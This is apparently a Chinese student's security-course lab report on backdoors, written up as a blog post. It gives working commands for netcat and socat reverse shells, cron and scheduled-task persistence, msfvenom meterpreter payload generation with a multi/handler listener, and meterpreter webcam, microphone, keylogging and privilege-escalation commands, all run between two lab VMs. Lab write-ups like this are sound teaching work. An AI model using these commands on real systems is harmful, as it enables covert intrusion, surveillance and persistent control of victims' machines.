Exp2 后门原理与实践 20164315李华阳

Posted 2020-08-10 clay-clcat

1.后门概念

 

 

后门就是不经过正常认证流程而访问系统的通道。

 

常见的留后门位置有编译器留后门、操作系统留后门、最常见的当然还是应用程序中留后门、还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

 

2.常用后门工具

2.1 NC 或 netcat

关于netcat，又名nc,ncat。是一个底层工具，进行基本的TCP UDP数据收发。常被与其他工具结合使用，起到后门的作用。

2.2 Meterpreter

后门就是一个程序。传统的理解是：有人编写一个后门程序，大家拿来用。后来有一些牛人呢，就想编写一个平台能生成后门程序。这个平台呢，把后门的基本功能（基本的连接、执行指令），扩展功能（如搜集用户信息、安装服务等功能），编码模式，运行平台，以及运行参数全都做成零件或可调整的参数。用的时候按需要组合，就可以生成一个可执行文件。

典型的平台就包括有：

• intersect
• Metaspolit的msfvenom指令
• Veil-evasion

 

3.实验内容 

(1)使用netcat获取主机操作Shell，cron启动 。

(2)使用socat获取主机操作Shell, 任务计划启动 。

(3)使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell。

(4)使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权 。

(5)可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell。

 

4.实验步骤

4.1查看ip地址

win10的ip地址如下

 

 

linux的ip地址如下

 

win10    192.168.49.129

linux    192.168.49.128

 

4.2任务一：使用netcat获取主机操作Shell，cron启动

 

win10监听，linux反弹连接。

 

win10中cmd窗口中输入 ncat.exe -l -p 4315 表示监听端口4315。

 

kali中输入命令nc 192.168.49.129 4315 -e /bin/sh win10就获取了linux的shell了

 

在Kali环境下，用 crontab -e指令编辑一条定时任务，（crontab指令增加一条定时任务，"-e"表示编辑）选择编辑器。

 

//# m h dom mon dow command所对应意思如下..

m分钟 h小时 dom日期 mon月 dow周几 command执行的命令

 

//所以我们设置为每小时的第5分钟，kali系统会自动执行这条指令，也就是反向连接win10主机的4315端口

5 * * * * /bin/netcat 192.168.49.129 4315 -e /bin/sh

 

 

获得shell后的win10就可以在cmd中对linux进行操作了

 

4.3任务二：使用socat获取主机操作Shell，任务计划启动

 

在win10中添加任务计划，“控制面板”>“系统和安全”>“计划任务”>“创建任务”，并将名称改为 “20164315-test”。

 

编辑触发器，设定为如下时间启动。

 

选择启动程序socat.exe，添加参数tcp-listen:4315 exec:cmd.exe,pty,stderr 

 

创建完成之后，等到18：20时，可以看到之前创建的任务已经开始运行。

 

 

然后在kali中输入socat - tcp:192.168.49.129:4315，发现已获得win10的cmd权限。

 

4.4任务三：使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

 

参数说明：

-p 使用的payload。payload翻译为有效载荷，就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板，payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器，用于对shellcode变形，为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

 

首先在Kali上执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=4315 -f exe > 20164315-test.exe

 

 

然后在win10中执行指令 ncat -l 4315> 20164315-test.exe

 

 

在kali中输入指令 nc -nv 192.168.49.129 4315 < 20164315-test.exe

//两个操作系统换来换去人都换傻了...

 

 进入msfconsole而且需要输入以下内容进行设置：

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.49.128 //进攻方ip地址

set LPORT 4315

show options

exploit

 

退出，执行监听。

 

 

 使用 help指令可以看到meterpreter的指令及如何使用。

 

运行Windows下的后门程序后，再切回linux，发现已取得控制权。

 

 

 

4.5任务四：使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

 

使用screenshot指令获取被控制机当前屏幕。

 

使用 record_mic指令获取被控制机的音频。

 

使用 webcam_snap指令可以让被控制机的摄像头进行拍照。

 

同样的，指令 webcam_stream 可以录像。

 

使用指令keyscan_start开始记录下击键的过程，使用指令keyscan_dump读取击键的记录。

 

使用指令 getuid查看权限，使用指令 getsystem可以提升权限。

 

5.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式？

使用别人的u盘时，下载了不该下的文件。下载网上的盗版游戏、盗版系统或者盗版软件等。使用不安全的浏览器浏览网页也可能会自动下载一些病毒、程序，留下后门。

(2)例举你知道的后门如何启动起来(win及linux)的方式？

被控制后，设置了cron启动，定时启动。被控制后，设置了计划任务启动，达到触发条件启动。通过游戏启动程序伪装，点开游戏启动程序便启动。

(3)Meterpreter有哪些给你映像深刻的功能？

控制计算机进行拍照，录像，记录数据。被人掌控的感觉很不好..

(4)如何发现自己有系统有没有被安装后门？

通过杀毒软件、防火墙进行保护，不定期的杀毒、检测。查看进程、注册表是否有奇怪的程序。

 

 

6.实验总结与体会

   做完实验后的第一感觉就是想杀毒..实验的内容虽然挺多的，但是实验的步骤还算是比较简单，但是因为第一次做所以比较生疏，中间还打错了几次命令。不过此次实验也让我明白了后门是不能随便放进来的,就算有杀毒软件、防火墙电脑也不一定安全，只有时刻的注意防护才能够做到相对的安全。即使是刚开始学习后门的基本原理，也可以做到这么多，可见网络多么的不安全。感叹Meterpreter强大的同时，也需要我们不断的学习这方面的技术，虽然说做不到去入侵别人的计算机，但还是要学习如何保护自己的计算机，保护自己的隐私。